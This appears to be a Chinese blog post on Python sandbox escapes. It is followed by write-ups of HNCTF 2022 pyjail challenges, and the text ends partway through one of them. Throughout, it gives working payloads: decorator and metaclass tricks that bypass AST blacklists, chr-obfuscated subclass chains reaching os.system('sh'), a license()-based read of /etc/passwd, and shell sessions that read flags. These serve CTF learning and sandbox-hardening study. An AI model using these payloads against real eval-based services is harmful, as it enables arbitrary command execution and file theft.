[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"]

# 其他的 payload 也都不会触发

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

绕过 AST 沙箱

AST 沙箱会将用户的输入转化为操作码,此时字符串层面的变换基本上没用了,一般情况下考虑绕过 AST 黑名单. 例如下面的沙箱禁止了 ast.Import|ast.ImportFrom|ast.Call 这三类操作, 这样一来就无法导入模块和执行函数.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import ast
import sys
import os

def verify_secure(m):
for x in ast.walk(m):
match type(x):
case (ast.Import|ast.ImportFrom|ast.Call):
print(f"ERROR: Banned statement {x}")
return False
return True

abspath = os.path.abspath(__file__)
dname = os.path.dirname(abspath)
os.chdir(dname)

print("-- Please enter code (last line must contain only --END)")
source_code = ""
while True:
line = sys.stdin.readline()
if line.startswith("--END"):
break
source_code += line

tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
if verify_secure(tree): # Safe to execute!
print("-- Executing safe code:")
compiled = compile(source_code, "input.py", 'exec')
exec(compiled)

下面的几种利用方式来源于 hacktricks

without call

如果基于 AST 的沙箱限制了执行函数,那么就需要找到一种不需要执行函数的方式执行系统命令.

装饰器

利用 payload 如下:

1
2
3
4
@exec
@input
class X:
pass

当我们输入上述的代码后, Python 会打开输入,此时我们再输入 payload 就可以成功执行命令.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
@exec
@input
class X:
pass

<class '__main__.X'>__import__("os").system("ls")

由于装饰器不会被解析为调用表达式或语句, 因此可以绕过黑名单, 最终传入的 payload 是由 input 接收的, 因此也不会被拦截.

其实这样的话,构造其实可以有很多,比如直接打开 help 函数.

@help
class X:
pass
1
2
3
这样可以直接进入帮助文档:

Help on class X in module __main__:

class X(builtins.object)
| Data descriptors defined here:
|
| __dict__
| dictionary for instance variables (if defined)
|
| __weakref__
| list of weak references to the object (if defined)
(END)xxxxxxxxxx Help on class X in module __main__:class X(builtins.object) | Data descriptors defined here: | | __dict__ | dictionary for instance variables (if defined) | | __weakref__ | list of weak references to the object (if defined)(END)1 2 3 4 5 6 7 8 9 10 11 Help on class X in module __main__: class X(builtins.object) | Data descriptors defined here: | | __dict__ | dictionary for instance variables (if defined) | | __weakref__ | list of weak references to the object (if defined) (END)

再次输入 !sh 即可打开 /bin/sh

函数覆盖

1
2
3
4
5
6
7
8
9
10
11
我们知道在 Python 中获取一个的属性例如 obj[argument] 实际上是调用的 obj.__getitem__ 方法.因此我们只需要覆盖其 __getitem__ 方法, 即可在使用 obj[argument] 执行代码:

>>> class A:
>>> ... __getitem__ = exec
>>> ...
>>> A()['__import__("os").system("ls")']
>>> 1
>>> 2
>>> 3
>>> 4
>>> 但是这里调用了 A 的构造函数, 因此 AST 中还是会出现 ast.Call。

metaclass 利用(如何在不执行构造函数的情况下获取类实例呢?)

Python 中提供了一种元类(metaclass)概念。元类是创建类的“类”。在 Python中,类本身也是对象,元类就是创建这些类(即类的对象)的类。

元类在 Python 中的作用主要是用来创建类。类是对象的模板,而元类则是类的模板。元类定义了类的行为和属性,就像类定义了对象的行为和属性一样。

下面是基于元类的 payload, 在不使用构造函数的情况下触发

1
2
3
4
5
6
7
class Metaclass(type):
__getitem__ = exec

class Sub(metaclass=Metaclass):
pass

Sub['import os; os.system("sh")']

除了 getitem 之外其他方法的利用方式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')

示例:

1
2
3
4
5
6
7
class Metaclass(type):
__sub__ = exec

class Sub(metaclass=Metaclass):
pass

Sub-'import os; os.system("sh")'

exceptions 利用

利用 exceptions 的目的也是为了绕过显示地实例化一个类, 如果一个类继承了 Exception 类, 那么就可以通过 raise 关键字来实例化. payload 如下:

1
2
3
4
5
6
class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec

raise RCE

raise 会进入 RCE 的 init, 然后触发 iadd 也就是 exec.

当然, 触发异常不一定需要 raise, 主动地编写错误代码也可以触发,与是就有了如下的几种 payload.

1
2
3
4
5
6
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0

这个 payload 中直接将 sys.excepthook 进行覆盖,任何异常产生时都会触发.

1
2
3
4
5
6
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
# {}[1337]

这个 payload 将 import 函数进行覆盖, 最后的 {}[1337] 在正常情况下会引发 KeyError 异常,因为 Python 在引发异常时会尝试导入某些模块(比如traceback 模块),导入时就会触发 import.

通过 license 函数读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass
上面的 payload 修改内建函数 license 的文件名列表为 /etc/passwd 当调用 license() 时会打印这个文件的内容.

__builtins__.__dict__["license"]._Printer__filenames
['/usr/lib/python3.11/../LICENSE.txt', '/usr/lib/python3.11/../LICENSE', '/usr/lib/python3.11/LICENSE.txt', '/usr/lib/python3.11/LICENSE', './LICENSE.txt', './LICENSE']
1
2
payload 中将 help 类的 __enter__ 方法覆盖为 license 方法, 而 with 语句在创建上下文时会调用 help 的__enter__, 从而执行 license 方法. 这里的 help 类只是一个载体, 替换为其他的支持上下文的类或者自定义一个类也是可以的

例如:

1
2
3
4
5
6
7
8
9
class MyContext:
pass

__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = MyContext()
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass

其他绕过技巧

模拟 no builitins 环境

no builtins 环境和 python 交互式解析器还是有所差异, 但交互式解析器并没有提供指定命名空间的功能,因此可以自己编写一个脚本进行模拟:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def repl():
global_namespace = {}
local_namespace = {}
while True:
try:
code = input('>>> ')
try:
# Try to eval the code first.
result = eval(code, global_namespace, local_namespace)
except SyntaxError:
# If a SyntaxError occurs, this might be because the user entered a statement,
# in which case we should use exec.
exec(code, global_namespace, local_namespace)
else:
print(result)
except EOFError:
break
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
repl()

HNCTF 2022 Pyjail题目复现

calc_jail_beginner

It’s an great way to learn an python jail from these challenge!

Let’s play it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#Your goal is to read ./flag.txt
#You can use these payload liked `__import__('os').system('cat ./flag.txt')` or `print(open('/flag.txt').read())`

WELCOME = '''
_ ______ _ _ _ _
| | | ____| (_) | | (_) |
| |__ | |__ __ _ _ _ __ _ __ ___ _ __ | | __ _ _| |
| '_ \| __| / _` | | '_ \| '_ \ / _ \ '__| _ | |/ _` | | |
| |_) | |___| (_| | | | | | | | | __/ | | |__| | (_| | | |
|_.__/|______\__, |_|_| |_|_| |_|\___|_| \____/ \__,_|_|_|
__/ |
|___/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
print('Answer: {}'.format(eval(input_data)))

注意到这里用到了一个eval(input_data),这个函数会将我们的输入转换并且执行python代码(类似的有exec())。

这NSSCTF部署的题目复现根据提示去打payload并没有找到题目所说的flag,直接ls查看一下文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  _     ______      _                              _       _ _
| | | ____| (_) | | (_) |
| |__ | |__ __ _ _ _ __ _ __ ___ _ __ | | __ _ _| |
| '_ \| __| / _` | | '_ \| '_ \ / _ \ '__| _ | |/ _` | | |
| |_) | |___| (_| | | | | | | | | __/ | | |__| | (_| | | |
|_.__/|______\__, |_|_| |_|_| |_|\___|_| \____/ \__,_|_|_|
__/ |
|___/

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> __import__('os').system('ls')
flag server.py
Answer: 0

发现flag文件就叫flag,那么可以构造以下payload:

1
2
3
4
5
6
7
__import__('os').system('cat flag')
print(open('flag').read())
plaintext
> print(open('flag').read())
flag=NSSCTF{0ff598a9-c835-4c4c-b113-35b0b476d239}

Answer: None

calc_jail_beginner_level1

you finish beginner challenge.Let’s play an challenge of easy calc

It seems have some filter than beginner challenge. can u escape it?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#the function of filter will banned some string ',",i,b
#it seems banned some payload
#Can u escape it?Good luck!

def filter(s):
not_allowed = set('"\'`ib')
return any(c in not_allowed for c in s)

WELCOME = '''
_ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | /_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| || |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ || |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ || |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_||_|
__/ | _/ |
|___/ |__/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))

还是类似的题目,但是多了一个过滤:

1
2
3
def filter(s):
not_allowed = set('"\'`ib')
return any(c in not_allowed for c in s)

不能包含双引号单引号反引号、还有字母i和b。所以importbytes就不能用了。

在RCE中,首先使用Show subclasses with tuple起手:

1
().__class__.__base__.__subclasses__()

这种操作可以得到tuple所属类的直接基类的所有子类,事实上,根据我们之前得到的特性,这里我们求得的().__class__.__base__其实就是<class 'object'>,所以求得是object类的所有子类。

但是我们不能出现字母b,可以使用getattr函数替代__base__

使用方法大致可以抽象为getattr(A,'B')等价于A.B,同样的:getattr(A,'B')()等价于A.B()

1
getattr(().__class__, '__base__').__subclasses__()

转成字符串之后,由于不让出现引号,可以进一步转换成用chr加和表示字符串的形式:

1
getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)).__subclasses__()

同样的方法可以改后面的__subclasses__(),得到payload:

1
2
3
4
5
6
7
getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)),chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()
plaintext
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)),chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()
Answer: [<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'managedbuffer'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'types.UnionType'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class '_contextvars.Context'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Token'>, <class 'Token.MISSING'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]

在得到的这么多子类中找到了 <class 'os._wrap_close'>,下一步就是利用这个子类:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')

.__init__ 获取所选子类的构造函数 __init__ 方法。

.__globals__ 获取 __init__ 方法的全局命名空间,这通常包含了可用的所有全局变量和函数

同样用getattr绕过__init____globals__,以及改写字符串操作:

1
2
3
4
5
6
7
8
9
getattr(getattr(getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)),chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()[-4],chr(95)+chr(95)+chr(105)+chr(110)+chr(105)+chr(116)+chr(95)+chr(95)),chr(95)+chr(95)+chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115)+chr(95)+chr(95))[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(115)+chr(104))
plaintext
Enter your expression and I will evaluate it for you.
> getattr(getattr(getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)),chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()[-4],chr(95)+chr(95)+chr(105)+chr(110)+chr(105)+chr(116)+chr(95)+chr(95)),chr(95)+chr(95)+chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115)+chr(95)+chr(95))[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(115)+chr(104))
sh: 0: can't access tty; job control turned off
$ ls
flag server.py
$ cat flag
flag=NSSCTF{00711634-832d-437e-be7a-d98793070bdc}

得到flag。

实际上,如果我们已知题目文件叫flag,可以用chropen操作直接读:

1
print(open(chr(102)+chr(108)+chr(97)+chr(103)).read())

calc_jail_beginner_level2

you finish beginner challenge level1.Let’s play an challenge of level2

Now that the length is limited, can u escape this jail?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#the length is be limited less than 13
#it seems banned some payload
#Can u escape it?Good luck!

WELCOME = '''
_ _ _ _ _ _ _ ___
| | (_) (_) (_) | | | | |__ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | ) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | / /
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ |/ /_
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|____|
__/ | _/ |
|___/ |__/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>13:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))

题目限制了我们的输入长度,这里用到一种叫做参数逃逸的手法:

1
eval(input())

使用这个操作可以直接重新调用一次input(),本题的长度检测机制检测的是输入的input_data,跟我们再调用进行eval执行的语句长度无关,所以接下来就可以直接读flag了。

1
2
3
4
5
6
7
8
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> eval(input())
print(open('flag').read())
flag=NSSCTF{25e8054e-3ee4-4b08-8096-37ad660e5165}

Answer: None

calc_jail_beginner_level3

you finish beginner challenge level2.Let’s play an challenge of level3

Now that the length is limited than level2, can u escape this jail?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3
WELCOME = '''
_ _ _ _ _ _ _ ____
| | (_) (_) (_) | | | | |___ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | __) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ ||__ <
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ |___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|____/
__/ | _/ |
|___/ |__/
'''

print(WELCOME)
#the length is be limited less than 7
#it seems banned some payload
#Can u escape it?Good luck!
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>7:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))

题目限定了长度只有7,之前的方法也不能用了。这题思路是利用help()进入help界面,在某个模块里直接输入!前缀后接命令即可直接执行系统命令

这个方法在很多题目里实际上会被ban掉。

比如输入os查询界面,接下来输入! cat flag即可直接得到flag:

1
2
3
4
5
 |  Methods defined here:
|
--More--! cat flag
! cat flag
flag=NSSCTF{f3ca28df-a0c2-4156-a789-73bb7dfb5365}

calc_jail_beginner_level2.5

level2 seems have some unintend soluntion

level2.5 is out.Let’s Avenger

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#the length is be limited less than 13
#it seems banned some payload
#banned some unintend sol
#Can u escape it?Good luck!

def filter(s):
BLACKLIST = ["exec","input","eval"]
for i in BLACKLIST:
if i in s:
print(f'{i!r} has been banned for security reasons')
exit(0)

WELCOME = '''
_ _ _ _ _ _ _ ___ _____
| | (_) (_) (_) | | | |__ \ | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | ) | | |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | |/ _ \ \ / / _ \ | / / |___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\ V / __/ |/ /_ _ ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_|_|\___| \_/ \___|_|____(_)____/
__/ | _/ |
|___/ |__/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
filter(input_data)
if len(input_data)>13:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))

发现在level2的基础上进一步进行了约束,之前的方法不能用了。尝试使用level3的help,简单操作了一下发现得不到flag。

题目用到了另一个breakpoint()这个函数。这个函数可以进入Pdb,是一个python的debug调试器,可以在上下文中直接运行python代码。

进入pdb之后直接一句话RCE即可:

1
2
3
4
5
6
7
8
9
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> breakpoint()
--Return--
> <string>(1)<module>()->None
(Pdb) open('flag').read()
'flag=NSSCTF{e6b11ec7-86fc-4169-96ca-baa9f18ed202}\n'
(Pdb)

python2 input

Let’s have a rest,Did u like the challenge of python2 but it only have an input function.

Can u read the flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# It's escape this repeat!

WELCOME = '''
_ _ ___ ___ _____ _ _ _
| | | | / _ \ |__ \ |_ _| | | | | |
_ __ _ _| |_| |__ | | | |_ __ ) | | | _ __ _ __ | | | | |_
| '_ \| | | | __| '_ \| | | | '_ \ / / | | | '_ \| '_ \| | | | __|
| |_) | |_| | |_| | | | |_| | | | |/ /_ _| |_| | | | |_) | |__| | |_
| .__/ \__, |\__|_| |_|\___/|_| |_|____| |_____|_| |_| .__/ \____/ \__|
| | __/ | | |
|_| |___/ |_|
'''

print WELCOME

print "Welcome to the python jail"
print "But this program will repeat your messages"
input_data = input("> ")
print input_data

没怎么研究过python2……

通过print WELCOME这种写法判定为这是python2的程序。了解一下python2的特性:

在python 2中,input函数从标准输入接收输入,并且自动eval求值,返回求出来的值;

在python 2中,raw_input函数从标准输入接收输入,返回输入字符串;

在python 3中,input函数从标准输入接收输入,返回输入字符串。

也就是说,以下几个代码是等价的:

1
2
3
input() #python2
eval(raw_input()) #python2
eval(input()) #python3

题目直接使用了python2的input,所以直接一句话RCE得到flag:

1
2
3
4
5
6
7
8
9
10
11
__import__('os').system('sh')
plaintext
Welcome to the python jail
But this program will repeat your messages
> __import__('os').system('sh')
sh: 0: can't access tty; job control turned off
$ ls
flag server.py
$ cat flag
flag=NSSCTF{8b9343ae-b657-4308-8610-a61bc6b829c9}
$

lake lake lake

Cool job of u finished level3

Now it’s time for level4,Try to leak the key!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#it seems have a backdoor
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
code = input(">")
if(len(code)>9):
return print("you're hacker!")
try:
print(eval(code))
except:
pass

def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")

WELCOME = '''
_ _ _ _ _ _
| | | | | | | | | | | |
| | __ _| | _____ | | __ _| | _____ | | __ _| | _____
| |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
| | (_| | < __/ | | (_| | < __/ | | (_| | < __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
func()
exit(0)
elif(input_data == "2"):
backdoor()
exit(0)
else:
print("not found the choice")
exit(0)

题目中提到了一个fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

想到查找全局变量找到这个真正的key,使用globals()得到全局变量中的key,然后用backdoor函数一句话RCE即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 1
>globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fc3fb2a4a90>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/ctf/./server.py', '__cached__': None, 'key_9b1d015375213e21': 'a34af94e88aed5c34fb5ccfe08cd14ab', 'func': <function func at 0x7fc3fb43fd90>, 'backdoor': <function backdoor at 0x7fc3fb305fc0>, 'WELCOME': '\n _ _ _ _ _ _ \n | | | | | | | | | | | | \n | | __ _| | _____ | | __ _| | _____ | | __ _| | _____ \n | |/ _` | |/ / _ \\ | |/ _` | |/ / _ \\ | |/ _` | |/ / _ | | (_| | < __/ | | (_| | < __/ | | (_| | < __/\n |_|\\__,_|_|\\_\\___| |_|\\__,_|_|\\_\\___| |_|\\__,_|_|\\_\\___|

\n', 'input_data': '1'}

Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 2
Please enter the admin key
>a34af94e88aed5c34fb5ccfe08cd14ab
>open('flag').read()
flag=NSSCTF{04c4c4a2-79bf-4cb5-9d1a-20583a32845e}

l@ke l@ke l@ke

seems u finished lake lake lake

Let’s have a try on l@ke l@ke l@ke

G00d luck!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#it seems have a backdoor as `lake lake lake`
#but it seems be limited!
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
code = input(">")
if(len(code)>6):
return print("you're hacker!")
try:
print(eval(code))
except:
pass

def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")

WELCOME = '''
_ _ _ _ _ _
| | ____ | | | | ____ | | | | ____ | |
| | / __ \| | _____ | | / __ \| | _____ | | / __ \| | _____
| |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \
| | | (_| | < __/ | | | (_| | < __/ | | | (_| | < __/
|_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
\____/ \____/ \____/
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
func()
exit(0)
elif(input_data == "2"):
backdoor()
exit(0)
else:
print("not found the choice")
exit(0)

看到len(code)>6估计又是从help()里去拿,发现直接用! sh进入不到shell里,又注意到help里有这么一段话:

Enter the name of any module, keyword, or topic to get help on writing Python programs and using Python modules. To quit this help utility and return to the interpreter, just type “quit”.

To get a list of available modules, keywords, symbols, or topics, type
“modules”, “keywords”, “symbols”, or “topics”. Each module also comes
with a one-line summary of what it does; to list the modules whose name
or summary contain a given string such as “spam”, type “modules spam”.

在python的help中,如果我们输入__main__可以得到当前模块的帮助,能得到当前模块的信息,包括全局变量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
plaintext
NAME
__main__

